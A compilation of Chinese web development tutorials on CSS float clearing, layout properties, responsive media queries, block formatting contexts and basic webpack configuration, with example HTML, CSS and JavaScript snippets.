浮动清除 clear


用下面这个实际场景来介绍浮动清除的使用吧。

假设希望让一个图片浮动在左边，文本块浮动在右边，并且希望这幅图片和文本包含在另一个具有背景颜色和边框的元素中。

由于浮动，容器将无法包围他们，当然无法达到我们想要的效果。



由于两个块都是浮动的，无法对他们进行清除浮动，所以只能借助第三方了。

我们使用一个空的div元素以实现下图的目标。

div.clear {
    clear: both;
}




清除浮动的方式当然不止上面一种，但上面的方式兼容性强，使用方便，是初学时使用的上佳之选。

下面再介绍两种不错的选择。

overflow + zoom 方法



.clearfix{overflow:hidden; zoom:1;}


after + zoom 方法



.clearfix{zoom:1;}
.clearfix:after{display:block; content:'clear'; clear:both; line-height:0; visibility:hidden;}


此方法可以说是综合起来最好的方法，不会影响任何其他样式，通用性强，覆盖面广。

相关属性

除了上面介绍的主要属性，与定位和框相关联的其他属性也顺道一起简要了解一下吧。

堆叠顺序 z-index


z-index 属性设置元素的堆叠顺序。拥有更高堆叠顺序的元素总是会处于堆叠顺序较低的元素的前面，其值可正可负，默认为0。

img.x {
    position:absolute;
    left:0px;
    top:0px;
    z-index:-1;
}



框类型 display


display 属性规定元素应该生成的框的类型。通过此属性你可以轻松的实现块级元素与行级元素的互转，甚至可以通过此属性是元素脱离文档流隐藏起来。

常用的也就：none, block, inline, inline-block。



	值
	描述



	none
	此元素不会被显示。



	block
	此元素将显示为块级元素。



	inline
	此元素会被显示为内联元素。



	inline-block
	行内块元素。



	list-item
	此元素会作为列表显示。



	run-in
	此元素会根据上下文作为块级元素或内联元素显示。



	table
	此元素会作为块级表格来显示。



	inline-table
	此元素会作为内联表格来显示。



	table-row-group
	此元素会作为一个或多个行的分组来显示（类似 <tbody>）。



	table-header-group
	此元素会作为一个或多个行的分组来显示（类似 <thead>）。



	table-footer-group
	此元素会作为一个或多个行的分组来显示（类似 <tfoot>）。



	table-row
	此元素会作为一个表格行显示（类似 <tr>）。



	table-column-group
	此元素会作为一个或多个列的分组来显示（类似 <colgroup>）。



	table-column 
	此元素会作为一个单元格列显示（类似 <col>）



	table-cell
	此元素会作为一个表格单元格显示（类似 <td> 和 <th>）



	table-caption
	此元素会作为一个表格标题显示（类似 <caption>）



	inherit
	规定应该从父元素继承 display 属性的值。





a#top {
    display: none;
}

记住常用的即可，其余的仅供查阅。

可见性 visibility


visibility 属性规定元素是否可见。



	值
	描述



	visible
	默认值。元素可见。



	hidden
	元素不可见。



	collapse
	当在表格元素中使用时，此值可删除一行或一列，但是它不会影响表格的布局。被行或列占据的空间会留给其他内容使用。如果此值被用在其他的元素上，会呈现为 hidden。



	inherit
	从父元素继承。





h2 {
    visibility:hidden;
}

注意：使用此属性，即使不可见的元素也会占据页面上的空间。请使用 display 属性来创建不占据页面空间的不可见元素。

绝对定位剪裁 clip


clip 属性用来剪裁绝对定位元素。这个属性可以定义一个剪裁矩形。对于一个绝对定位元素，在这个矩形内的内容才可见。剪裁区域可能比元素大，也可能比元素小。

该属性的默认值为 auto , 不应用任何剪裁。

position: absolute;
clip: rect (top, right, bottom, left);

top, bottom 都是相对于包围此元素的祖先元素上框的距离。right, left 都是相对于包围此元素的祖先元素左框的距离。



四个尺寸围成一个矩形，元素在此矩形内的部分被显现出来。

img {
    position:absolute;
    clip:rect(0px 50px 200px 0px)
}

光标定位 cursor


光标定位应该叫光标样式，此属性用来设置当鼠标移动到元素上鼠标应该呈现的样式。这个内容很简单，直接贴出示例。

请将代码自行添加到HTML文件中检验效果。

<span style="cursor:auto;">auto</span><br />
<span style="cursor:crosshair;">crosshair</span><br />
<span style="cursor:default;">default</span><br />
<span style="cursor:pointer;">pointer</span><br />
<span style="cursor:move;">move</span><br />
<span style="cursor:e-resize;">e-resize</span><br />
<span style="cursor:ne-resize;">ne-resize</span><br />
<span style="cursor:nw-resize;">nw-resize</span><br />
<span style="cursor:n-resize;">n-resize</span><br />
<span style="cursor:se-resize;">se-resize</span><br />
<span style="cursor:sw-resize;">sw-resize</span><br />
<span style="cursor:s-resize;">s-resize</span><br />
<span style="cursor:w-resize;">w-resize</span><br />
<span style="cursor:text;">text</span><br />
<span style="cursor:wait;">wait</span><br />
<span style="cursor:help;">help</span>

框溢出 overflow


overflow 属性规定当内容溢出元素框时发生的事情。



	值
	描述



	visible
	默认值。内容不会被修剪，会呈现在元素框之外。



	hidden
	内容会被修剪，并且其余内容是不可见的。



	scroll
	内容会被修剪，但是浏览器会显示滚动条以便查看其余的内容。



	auto
	如果内容被修剪，则浏览器会显示滚动条以便查看其余的内容。



	inherit
	从父元素继承。





div {
    background-color:#00FFFF;
    width:150px;
    height:150px;
    overflow: scroll
}

如果值为 scroll，不论是否需要，用户代理都会提供一种滚动机制。因此，有可能即使元素框中可以放下所有内容也会出现滚动条。



垂直对齐 vertical-align


vertical-align 属性设置元素的垂直对齐方式。

该属性定义行内元素的基线相对于该元素所在行的基线的垂直对齐。允许指定负长度值和百分比值。

在表单元格中，这个属性会设置单元格框中的单元格内容的对齐方式。



	值
	描述



	baseline
	默认。元素放置在父元素的基线上。



	sub
	垂直对齐文本的下标。



	super
	垂直对齐文本的上标



	top
	把元素的顶端与行中最高元素的顶端对齐



	text-top
	把元素的顶端与字体的顶端对齐



	middle
	把此元素放置在中部。



	bottom
	把元素的顶端与行中最低的元素的顶端对齐。



	text-bottom
	把元素的底端与字体的底端对齐。



	length
	 



	%
	使用 "line-height" 属性的百分比值来排列此元素。允许使用负值。



	inherit
	从父元素继承。





具体样式请将代码自行添加到HTML文档中验证。

<p>
这是一幅H<SUB>2</SUB>O<img src="http://i11.buimg.com/b8eaac4d3b209c7c.gif" />X<SUP>2</SUP> baseline 对齐的图像。
</p> 
<p>
这是一幅H<SUB>2</SUB>O<img style="vertical-align:sub;" src="http://i11.buimg.com/b8eaac4d3b209c7c.gif" />X<SUP>2</SUP> sub 对齐的图像。
</p> 
<p>
这是一幅H<SUB>2</SUB>O<img style="vertical-align:super;" src="http://i11.buimg.com/b8eaac4d3b209c7c.gif" />X<SUP>2</SUP> super 对齐的图像。
</p>
<p>
这是一幅H<SUB>2</SUB>O<img style="vertical-align:top;" src="http://i11.buimg.com/b8eaac4d3b209c7c.gif" />X<SUP>2</SUP> top 对齐的图像。
</p>
<p>
这是一幅H<SUB>2</SUB>O<img style="vertical-align:text-top;" src="http://i11.buimg.com/b8eaac4d3b209c7c.gif" />X<SUP>2</SUP> text-top 对齐的图像。
</p> 
<p>
这是一幅H<SUB>2</SUB>O<img style="vertical-align:middle;" src="http://i11.buimg.com/b8eaac4d3b209c7c.gif" />X<SUP>2</SUP> middle对齐的图像。
</p>
<p>
这是一幅H<SUB>2</SUB>O<img style="vertical-align:bottom;" src="http://i11.buimg.com/b8eaac4d3b209c7c.gif" />X<SUP>2</SUP> bottom 对齐的图像。
</p>
<p>
这是一幅H<SUB>2</SUB>O<img style="vertical-align:text-bottom;" src="http://i11.buimg.com/b8eaac4d3b209c7c.gif" />X<SUP>2</SUP> text-bottom 对齐的图像。
</p>
<p>
这是一幅H<SUB>2</SUB>O<img style="vertical-align:24px;" src="http://i11.buimg.com/b8eaac4d3b209c7c.gif" />X<SUP>2</SUP> 24px 对齐的图像。
</p>
<p>
这是一幅H<SUB>2</SUB>O<img style="vertical-align:0px;" src="http://i11.buimg.com/b8eaac4d3b209c7c.gif" />X<SUP>2</SUP> 0px 对齐的图像。
</p>
<p>
这是一幅H<SUB>2</SUB>O<img style="vertical-align:-50px;" src="http://i11.buimg.com/b8eaac4d3b209c7c.gif" />X<SUP>2</SUP> -50px 对齐的图像。
</p>
<p>
这是一幅H<SUB>2</SUB>O<img style="vertical-align:20%;" src="http://i11.buimg.com/b8eaac4d3b209c7c.gif" />X<SUP>2</SUP> 20% 对齐的图像。
</p>



小结

CSS 定位和浮动是HTML布局中的重要部分，需要认真参透。注意掌握定位的几种类型及区别，理解浮动的排列及清除，掌握与定位相关的一些属性。

篇幅还是稍长，估计大伙都没时间看完了。

参考资料


	CSS float浮动的深入研究、详解及拓展(一)


	CSS float浮动的深入研究、详解及拓展(二)


	还有一篇讨论浮动是不是脱离文档流的帖子：float 有没有脱离文档流 ？？





 响应式设计三部曲 

作者：不写代码的码农

来源： 响应式设计三部曲 



                    
原文：Responsive Design in 3 Steps


译文：响应式设计的三个步骤


译者：dwqs


现在，响应式Web设计无疑是非常流行的。如果你对响应式设计还不熟悉，可以看看我之前发表过的关于这方面的responsive sites。对于新人，responsive design可能听起来有点复杂，但实际上，它比你想的要简单的多。为了帮助你快速入门响应式Web设计，我写了一篇快速入门教程。我保证你通过三步就可以学会响应式设计的基本逻辑和媒体查询(media query)(假设你有基本的CSS知识)。


第一步：Meta标签（看demo）


大部分移动浏览器会把HTML页面缩放成较宽的viewport的宽度，这样内容就可以屏幕上正确的展示了。你可以使用viewport这个meta标签 来重置这个行为。下面的viewport标签告诉浏览器使用设备宽度(device-width)做为viewport的宽度，并且禁用初始的缩放比例。 在<head>中加入这个meta标签。


meta name="viewport" content="width=device-width, initial-scale=1.0">



IE 8以及更早版本不支持媒体查询，你可以使用media-queries.js或者respond.js来增加IE对媒体查询的支持。


<!--[if lt IE 9]>
    <script src="http://css3-mediaqueries-js.googlecode.com/svn/trunk/css3-mediaqueries.js"></script>
<![endif]—>



第二步：HTML结构


在这个例子中，我拥有一个由头部，内容容器，侧边栏，以及一个底部构成的基本的页面布局。头部拥有一个固定的180px高度，内容容器600px宽，然后侧边栏是300px宽。





第三步：媒体查询


CSS3 media query是进行响应式设计的戏法，它跟写if条件一样，来告诉浏览器对于特定的viewport宽度如何渲染页面。


下面的规则是针对视口宽度小于等于980px设计的。基本上，我把所有容器的宽度从像素值改成了百分比值，这样容器就会变得具有流动性(fluid)。





然后对于宽度小于或等于700px的viewport，指定#content和#sidebar为自动宽度，并且移除浮动，所以他们可以以全宽度进行展示。





对于宽度小于等于480px(移动设备屏幕)的，重置#header的高度为auto，修改h1的字体大小为24px，并且隐藏#sidebar。





你可以想写多少媒体查询就写多少。我在demo中只展示了三个媒体查询。媒体查询的目的是对于指定的viewport宽度可以通过应用不同的CSS规则来获得不同的布局。媒体查询可以在同一个样式表中或者在一个单独的文件中。


总结


这个教程意图在于向你展示基本的响应式设计，如果你想更深入的了解，可以看看我之前的文章：Responsive Design With Media Queries.


原文首发：http://www.ido321.com/1395.html


​


 浅谈 CSS 清除浮动的 6 种方法

作者：Tomson

来源： 浅谈 CSS 清除浮动的 6 种方法



                    

	额外标签法


	使用:after 伪元素


	给父元素定高


	利用overflow:hidden;属性


	父元素浮动


	父元素处于绝对定位




在开发网页的时候经常需要用到各种浮动，此时便需要及时的清除浮动，否则将会导致布局出现问题

引出问题：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title></title>
    <style>
        .outer{
            border: 1px solid black;
            width:300px;
        }
        .inner{
            width: 50px;
            height: 50px;
            background-color: #ff4400;
            margin-right: 20px;
            float: left;
        }
        .footer{
            background-color: #005FC3;
            width: 200px;
            height: 100px;
        }
    </style>
</head>
<body>
    <div class="outer">
        <div class="inner"></div>
        <div class="inner"></div>
        <div class="inner"></div>
    </div>
    <div class="footer"></div>
</body>
</html>



可以看出本应包住3个 inner DIV的 outer DIV 却没有包住他们，此刻只剩一条由上下边框贴合组成的线，同时 footer DIV元素也跑到了三个浮动元素的底下

解决办法：

1. 使用额外标签法

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title></title>
    <style>
        .outer{
            border: 1px solid black;
            width: 300px;
        }
        .inner{
            width: 50px;
            height: 50px;
            background-color: #ff4400;
            margin-right: 20px;
            float: left;
        }
        .footer{
            background-color: #005FC3;
            width: 200px;
            height: 100px;
        }
        .clearfix{
            clear: both;
        }
    </style>
</head>
<body>
    <div class="outer">
        <div class="inner"></div>
        <div class="inner"></div>
        <div class="inner"></div>
        <div class="clearfix"></div>
    </div>
    <div class="footer"></div>
</body>
</html>



这是早期普遍使用的方法，但是对于有代码洁癖的人来说，解决的不够完美

2. 使用 :after 为元素

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title></title>
    <style>
        .outer{
            border: 1px solid black;
            width: 300px;
        }
        .inner{
            width: 50px;
            height: 50px;
            background-color: #ff4400;
            margin-right: 20px;
            float: left;
        }
        .footer{
            background-color: #005FC3;
            width: 200px;
            height: 100px;
        }
        .clearfix:after{  /*最简方式*/
            content: '';
            display: block;
            clear: both;
        }
        /* 新浪使用方式
        .clearfix:after{ 
            content: '';
            display: block;
            clear: both;
            height: 0;
            visibility: hidden;
        }
        */
        .clearfix{ /*兼容 IE*/
            zoom: 1;
        }
    </style>
</head>
<body>
    <div class="outer clearfix">
        <div class="inner"></div>
        <div class="inner"></div>
        <div class="inner"></div>
    </div>
    <div class="footer"></div>
</body>
</html>



3. 给父元素定高

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title></title>
    <style>
        .outer{
            border: 1px solid black;
            width: 300px;
            height: 50px;
        }
        .inner{
            width: 50px;
            height: 50px;
            background-color: #ff4400;
            margin-right: 20px;
            float: left;
        }
        .footer{
            background-color: #005FC3;
            width: 200px;
            height: 100px;
        }
    </style>
</head>
<body>
    <div class="outer">
        <div class="inner"></div>
        <div class="inner"></div>
        <div class="inner"></div>
    </div>
    <div class="footer"></div>
</body>
</html>



4. 利用 overflow:hidden 属性

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title></title>
    <style>
        .outer{
            border: 1px solid black;
            width: 300px;
            overflow: hidden;
            zoom: 1;/*兼容 IE*/
        }
        .inner{
            width: 50px;
            height: 50px;
            background-color: #ff4400;
            margin-right: 20px;
            float: left;
        }
        .footer{
            background-color: #005FC3;
            width: 200px;
            height: 100px;
        }
    </style>
</head>
<body>
    <div class="outer">
        <div class="inner"></div>
        <div class="inner"></div>
        <div class="inner"></div>
    </div>
    <div class="footer"></div>
</body>
</html>



5. 父元素浮动

当父元素浮动的时候，无需为子元素的浮动清除浮动,布局时经常用到

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title></title>
    <style>
        .outer{
            border: 1px solid black;
            width: 300px;
            float: left;
        }
        .inner{
            width: 50px;
            height: 50px;
            background-color: #ff4400;
            margin-right: 20px;
            float: left;
        }
        .footer{
            background-color: #005FC3;
            width: 200px;
            height: 100px;
        }
    </style>
</head>
<body>
    <div class="outer">
        <div class="inner"></div>
        <div class="inner"></div>
        <div class="inner"></div>
    </div>
    <div class="footer"></div>
</body>
</html>



可以看出虽然 outer DIV 消除了塌陷现象，但由于其也发生了浮动故，其后元素若处于正常文档流，会被跌在底下。

如果要解决可以参考前面的办法。

例如：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title></title>
    <style>
        .outer{
            border: 1px solid black;
            width: 300px;
            float: left;
        }
        .inner{
            width: 50px;
            height: 50px;
            background-color: #ff4400;
            margin-right: 20px;
            float: left;
        }
        .footer{
            background-color: #005FC3;
            width: 200px;
            height: 100px;
        }
        .clearfix:after{
            content: "";
            display: block;
            clear: both;
        }
        .clearfix{
            zoom: 1;
        }
    </style>
</head>
<body>
    <div class="outer">
        <div class="inner"></div>
        <div class="inner"></div>
        <div class="inner"></div>
    </div>
    <div class="clearfix"></div>
    <div class="footer"></div>
</body>
</html>



6. 父元素处于绝对定位

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title></title>
    <style>
        .outer{
            border: 1px solid black;
            width: 300px;
            position: absolute;
        }
        .inner{
            width: 50px;
            height: 50px;
            background-color: #ff4400;
            margin-right: 20px;
            float: left;
        }
        .footer{
            background-color: #005FC3;
            width: 200px;
            height: 100px;
        }
    </style>
</head>
<body>
    <div class="outer">
        <div class="inner"></div>
        <div class="inner"></div>
        <div class="inner"></div>
    </div>
    <div class="clearfix"></div>
    <div class="footer"></div>
</body>
</html>



与上一个方法同理，由于绝对定位已脱离正常文档流，故出现相同情况，解决办法依旧可以使用以上办法结合，灵活多变。


 CSS > 译文：理解CSS中的块级格式化上下文

作者：HaoyCn

来源： CSS > 译文：理解CSS中的块级格式化上下文



                    
CSS > 译文：理解CSS中的块级格式化上下文


Original Author: Ritesh Kumar

Original Article: http://www.sitepoint.com/understanding-block-formatting-contexts-in-css/

Translator: HaoyCn

Date: 9th of Aug, 2015



块级格式化上下文（Block Formatting Context）是网页CSS视觉渲染的一部分，并用于决定块盒子的布局。在定位体系（Positioning Scheme）中它属于常规流（Normal Flow）。根据W3C所言：

浮动、绝对定位元素（position 为 absolute 或 fixed）、行内块元素  display:inline-block、表格单元格 display:table-cell、表格标题 display:table-caption 以及 overflow 属性值不为 visible 的元素（除了该值被传播到视点 viewport 的情况）将创建一个新的块级格式化上下文。



上面的引言差不多总结了一个BFC是如何形成的。但让咱们用另外一种更通俗易懂的方式来重定义它。一个BFC就是一个HTML盒子，它至少满足以下条件之一：


	float 的值不为 none


	position 的值不为 static 或 relative


	display 的值为 table-cell、table-caption、inline-block、flex 或 inline-flex


	overflow 的值不为 visiable




创建一个块级格式化上下文

一个BFC可以显式触发。如果我们想创建之，我们只需给它添加上面提到的任何一个CSS样式。

比如，看下面的HTML:

<div class="container">
    Some Content here
</div>


一个新的BFC可以通过给容器添加任意一个必要的CSS样式来创建，比如overflow: scroll，overflow: hidden，display: flex，float: left，或 display: table。尽管上述条件都可以创建BFC，但也会产生一些其他效果，如：


	display: table 可能引发响应性问题


	overflow: scroll 可能产生多余的滚动条


	float: left 将把元素移至左侧，并被其他元素环绕


	overflow: hidden 将裁切溢出元素




所以无论何时，当要创建一个BFC时，我们要基于需求选择最恰当的样式。为了保持一致性，我在本文的所有例子中均使用 overflow: hidden。

.container {
    overflow: hidden;
}


你可以自由选择使用除 overflow: hidden 之外的其他样式。

BFC中盒子的对齐

W3C规范道：

在BFC上下文中，每个盒子的左外侧紧贴包含块的左侧（从右到左的格式里，则为盒子右外侧紧贴包含块右侧），甚至有浮动也是如此（尽管盒子里的行盒子 Line Box 可能由于浮动而变窄），除非盒子创建了一个新的BFC（在这种情况下盒子本身可能由于浮动而变窄）。





简单来说，如上图所示，所以属于BFC的盒子都左对齐（在从左到右的格式下）并且它们的左外侧紧贴包含块的左侧。在最后一个盒子中我们可以看到尽管左侧存在一个浮动元素（棕色），另外一个元素（绿色）仍然紧贴包含块的左侧。该情况的产生原理将在下文关于文字环绕的部分中讨论。

BFC造成的外边距折叠

在常规流中，盒子从包含块的顶部开始一个个地垂直摆放。两个同胞盒子间的垂直举例由两个盒子各自的外边距所决定，但不是二者外边距之和。

为便于理解，我们看个例子。



在上图中，一个红盒子（div）包含着两个同胞绿元素（p），一个BFC已经创建了出来。

<div class="container">
    <p>Sibling 1</p>
    <p>Sibling 2</p>
</div>


相应的CSS是：

.container {
    background-color: red;
    overflow: hidden; /* creates a block formatting context */
}
p {
    background-color: lightgreen;
    margin: 10px 0;
}


理论上两个同胞元素间的外边距应当是二者外边距之和（20px）但实际上却是10px。这就是众所周知的外边距折叠（Collapsing Margins）。如果同胞元素外边距不同，将应用最大的那个。

使用BFC避免外边距折叠

在讨论了上面BFC折叠外边距的情况后，现在说避免折叠可能有点让人摸不着头脑。但我们必须牢记于心的一件事是，相邻块级盒子（同胞）之间的垂直外边距只有在它们处于同一个BFC时才会发生折叠。如果它们分属于不同的BFC，就不会折叠了。所以，通过创建新的BFC我们可以避免外边距折叠。

让我们在早前的例子中添加第三个同胞元素，现在HTML是：

<div class="container">
    <p>Sibling 1</p>
    <p>Sibling 2</p>
    <p>Sibling 3</p>
</div>


CSS是：

.container {
    background-color: red;
    overflow: hidden; /* creates a block formatting context */
}
p {
    background-color: lightgreen;
    margin: 10px 0;
}


结果和上面一样，即是说，折叠还是会发生并且三个同胞间分隔的垂直距离是10px。这是因为三个 p 标签都从属于同一个BFC。

现在我们修改第三个同胞元素，使之成为一个新的BFC的一部分。现在的HTML变成了：

<div class="container">
    <p>Sibling 1</p>
    <p>Sibling 2</p>
    <div class="newBFC">
        <p>Sibling 3</p>
    </div>
</div>


CSS：

.container {
    background-color: red;
    overflow: hidden; /* creates a block formatting context */
}
p {
    margin: 10px 0;
    background-color: lightgreen;
}
.newBFC {
    overflow: hidden;  /* creates new block formatting context */
}


现在输出的结果就有所不同了：



因为第二个和第三个同胞元素现在分属于不同的BFC，它们之间就不会发生外边距折叠了。

使用BFC包含浮动

BFC可以包含浮动。我们经常遇到容器中含有浮动元素的情况。这种情况下容器元素没有高度并且其浮动子元素脱离了网页的常规流。我们通常用清除浮动解决这个问题，最普遍的做法就是使用伪元素。但我们也可以通过创建一个BFC来解决问题。



看个例子：

<div class="container">
    <div>Sibling</div>
    <div>Sibling</div>
</div>


CSS：

.container {
    background-color: green;
}
.container div {
    float: left;
    background-color: lightgreen;
    margin: 10px;
}


在上面这个例子中，容器没有任何高度，并且它包不住浮动子元素。为解决此问题，我们通过添加 overflow: hidden 来在容器中创建一个新的BFC。修改后的CSS成了：

.container {
    overflow: hidden; /* creates block formatting context */
    background-color: green;
}

.container div {
    float: left;
    background-color: lightgreen;
    margin: 10px;
}


现在容器可以包住浮动子元素，并且其高度会扩展至包住其子元素，在这个新的BFC中浮动元素又回归到页面的常规流之中了。

使用BFC避免文字环绕

有时候浮动DIV旁边的文本会环绕它（如下图1所示）而这种情况有时候并不如我们所愿，我们想要下图2的效果。要解决这个问题，我们可以用外边距，但也可以用BFC。



首先让我们弄明白为何文字会环绕。要理解这个我们必须明白，当存在元素浮动的时候，盒模型如何工作。这就是我早先讨论BFC中对齐时候的遗留问题。我们通过下图来看图1到底发生了什么。



假设HTML是：

<div class="container">
    <div class="floated">
        Floated div
    </div>
    <p>
        Quae hic ut ab perferendis sit quod architecto, 
        dolor debitis quam rem provident aspernatur tempora
        expedita.
    </p>
</div>


上图整个黑色区域表示 p 元素，如我们所见，p 元素没有移位但它叠在了浮动元素之下，而p元素的行盒子（即文本行）却移位了，行盒子水平变窄来给浮动元素腾出了空间。

随着文本的增加，最后文本将环绕在浮动元素之下，因为那时候行盒子不再需要移位，也就成了图1的样子。这就是为什么即便有浮动元素，段落仍紧贴包含块的左侧，而行盒子会变窄来给浮动元素腾位子。

如果我们能位移整个 p 元素，这个环绕问题也就迎刃而解了。

在说解决方案之前，我们再回顾下W3C规范：

在BFC上下文中，每个盒子的左外侧紧贴包含块的左侧（从右到左的格式里，则为盒子右外侧紧贴包含块右侧），甚至有浮动也是如此（尽管盒子里的行盒子 Line Box 可能由于浮动而变窄），除非盒子创建了一个新的BFC（在这种情况下盒子本身可能由于浮动而变窄）。



据此，如果 p 元素创建一个新的BFC那它就不会再紧贴包含块的左侧了。给 p 元素添加 overflow: hidden 就能轻而易举地办到。这解决了文本环绕浮动对象的问题。

在多列布局中使用BFC

如果我们创建一个占满整个容器宽度的多列布局，在某些浏览器中最后一列有时候会掉到下一行。这可能是因为浏览器四舍五入了列宽从而所有列的总宽度会超出容器。但如果我们在多列布局中的最后一列里创建一个新的BFC，它将总是占据其他列先占位完毕后剩下的空间。

我们来举个三列布局的例子：

这是HTML:

<div class="container">
    <div class="column">column 1</div>
    <div class="column">column 2</div>
    <div class="column">column 3</div>
</div>


CSS：

.column {
    width: 31.33%;
    background-color: green;
    float: left;
    margin: 0 1%;
}
/*    Establishing a new block formatting 
    context in the last column */
.column:last-child {
    float: none;
overflow: hidden; 
}


现在尽管盒子的宽度稍有改变，但布局不会打破。当然，对多列布局来说这不一定是个好办法，但能避免最后一列下掉。这个问题上弹性盒或许是个更好的解决方案，但这个办法可以用来说明元素在这些环境下的行为。

总结

我希望本文已经向你展示了BFC的特性以及BFC是如何影响页面上的元素的视图定位的。展示其用法的例子应该有让BFC显得更透彻一些。

如果你有任何想要补充的，请在评论里留言。如果你想更深入了解的话，一定得去回顾W3C对这个话题的详述。

译者注

本文中提及的浮动与行盒子变窄问题深入探讨，可以参看博文：http://www.zhangxinxu.com/wordpress/?p=583

W3C标准中“除了该值被传播到视点 viewport 的情况”，可以参看问题：http://segmentfault.com/q/1010000002645174

转载本文亦请同时注明原出处（见本文顶部）。如您认可本文翻译，欢迎推荐或收藏，谢谢！
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转载请注明原文链接以及作者信息



前一篇文章介绍了webpack以及安装方法，这次将会介绍webpack在单页面应用程序（Single Page Application）与多页面站点不同场合的用法。

输入与输出

跟其他模块加载器类似，webpack也是需要配置一个入口文件，比如是entry.js
有几种配置方式，下面来介绍一下直接把入口文件写在配置文件 webpack.config.js：

module.exports = {
  entry: {
    "entry":"./entry.js"
  },
  output: {
    path: "build",
    filename: "bundle.js"
  }
}

通过命令行

> webpack

很便利地，webpack检测配置文件，读取模块入口与输出路径和文件名,将文件依赖整合成一个文件，输出到build/bundle.js

通过在HTML简单引入

<script src="./build/bundle.js"></script>

就可以在浏览器运行。

加载器

简单的SPA程序加载，包括：JS编译与加载、CSS编译与加载、图片加载与压缩、JS与CSS压缩。

Webpack提供了一套加载器机制，比如：css-loader、style-loader、url-loader等，用于将不同资源加载到js文件中，例如url-loader用于在js中加载png/jpg格式的图片文件，css/style loader 用于加载css文件，less-loader用于将less文件编译成css。

下面介绍一些常用的加载器（详细介绍在这里）：

style+css+less加载Bootstrap less版本：

require('style!css!less!./bower_components/bootstrap/bootstrap.less');

style+css 加载一般样式文件：

require('style!css!./styles/main.css');

url 加载图片资源文件：

require('url!./images/logo.png');

json loader加载json格式文件:

require('json!./data.json');

js后缀的文件不需要使用加载器

require('./scripts/main.js');

coffee script加载

require('coffee!./scripts/main.coffee');

喜欢尝鲜的童鞋可以通过Babel loader体验ES6/7特性：

require('babel!./scripts/es6.js');

需要注意的是，避免用babel作为加载器加载所有node_module模块，会出现意外结果，而且大量加载情况下，加载时间很长。babel还可以用作reactjs jsx文件加载使用，详细请看。

配置加载器

刚刚介绍了行内加载资源的方式，如果有很多css或者图片资源需要加载，重复写加载器显得很笨拙，webpack提供另一种方式加载资源。
在配置文件添加配置：

module.exports = {
  module: {
    loaders: [
      {test: /\.css$/, loader: "style!css"},
      {test: /\.(png|jpg)$/, loader: "url-loader?limit=8192"}
    ]
  }
}


其中test是正则表达式，对符合的文件名使用相应的加载器
/.css$/会匹配 xx.css文件，但是并不适用于xx.sass或者xx.css.zip文件
/.css/除了匹配xx.css也可以匹配xx.css.zip

加载器后可以加入?xx=yy传递参数,表示添加将xx设置为yy（跟http地址Query很像）

需要注意的是，使用加载器前需要使用

> npm i --save xxx-loader

安装相应加载器，并通过--save把依赖配置到package.json中，使用加载器并不需要使用require引入。

搜索路径变量

以上介绍的加载器，可以很方便使用webpack整合日常资源，如果认为webpack仅仅只能做这些，那就让您失望了。

可以看到，以上加载资源时候，都使用相对路径来描述路径，对于那些./app/src/scripts/main.js通过修改webpack配置文件，添加默认搜索路径后，显得更加优雅。

// webpack.config.js
var path = require("path")
module.exports = {
  resolve: {
    alias: {
      js: path.join(__dirname, "./app/src/scripts")
    }
  }
}

更改配置文件后加载：

require("js/main.js");

默认搜索路径配置

对于bower_components死忠们，前端开发少不了几个bower插件，使用gulp可以通过gulp-wiredep来动态把bower.json dependencies加载到指定HTML文件。
在webpack也有非常便利的导入方法：
首先，加入配置

module.exports = {
  resolve: {
    alias: {
      js: path.join(__dirname, "src/scripts"),
      src: path.join(__dirname, "src/scripts"),
      styles: path.join(__dirname, "src/styles"),
      img: path.join(__dirname, "src/img")
    },
    root: [
      path.join(__dirname, "bower_components")
    ]
  },
  plugins: [
    new webpack.ResolverPlugin(
        new webpack.ResolverPlugin.DirectoryDescriptionFilePlugin(".bower.json", ["main"])
      )
  ]
}

resolve.root 表示添加默认搜索路径，使用如下语法：

require("jquery");

webpack会在bower_components/jquery目录下进行查找CommandJS模块node_module/index.js、index.js
但是，因为Bower不属于CommandJS规范范畴,使用的是bower.json main属性指定项目入口文件
说到这里，大家就知道plugins里面那串东东是干嘛的啦

之后，我们就可以很方便在任何js文件里面引用jquery：

var jQuery = $ = require("jquery");

需要注意的是，require的并非jquery.js，而是bower_components目录下的文件夹名

多页面开发

webpack 不仅仅适用于SPA开发，对于多页面站点，webpack支持得很好，通过更改配置文件为多入口：

module.exports = {
  entry: {
    "entry":"./src/scripts/entry.js",
    "swiperEffect":"./src/scripts/swiperEffect.js"
  },
  output: {
    path: "build"
    filename: "[name].bundle.js"
  }
}

output设置里面，[name]代表entry的每一个键值，因此运行webpack时候，会输出对应的两个文件：

build/entry.bundle.js
build/swiperEffect.bundle.js

然后就可以在index.html和about.html两个页面分别引用啦

文件分离

前端工程一项就是减少http请求，这表示需要把多个js合并成一个，但是，单个js文件过大会影响浏览器加载文件速度，由于现在浏览器并发http请求多达6个，可以利用这个特性，将可复用第三方资源库分离加载。

使用CommandJS规范的

//entry.js
require.ensure(["jquery", "imgScroll"], function(require){
  var $ = require("jquery");
  require("imgScroll");
  $("#container").scroll({
    XXX
  })
})

通过require.ensure声明的文件，称作按需加载依赖，这些依赖会独立出来一个文件，待入口模块加载完，需要请求时候才会相继加载

再次编译webpack：

build/entry.bundle.js
build/swiperEffect.bundle.js
build/2.2.bundle.js

其中2.2.bundle.js就是jquery+imgScroll异步加载内容
一图胜千言：



可以看到2.2.bundle.js在entry.bundle.js加载完后进行异步加载。

webpack 实用命令

除了简单运行webpack，还可以添加几个参数，方便部署文件处理。

输出js文件，经过uglify进行压缩：

> webpack -p

自动监听变化，动态运行webpack编译：

> webpack --watch

通常Dev阶段，使用--watch配合live-server就可以自动化开发繁琐的窗口切换与回车。

以上仅仅介绍了webpack前端开发最基本的用法，更多参数以及功能使用，参考官网
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stylus介绍

是个什么鬼？对于开发来说，CSS的弱点在于静态化。我们需要一个真正能提高开发效率的工具，LESS， SASS都在这方面做了一些贡献。  

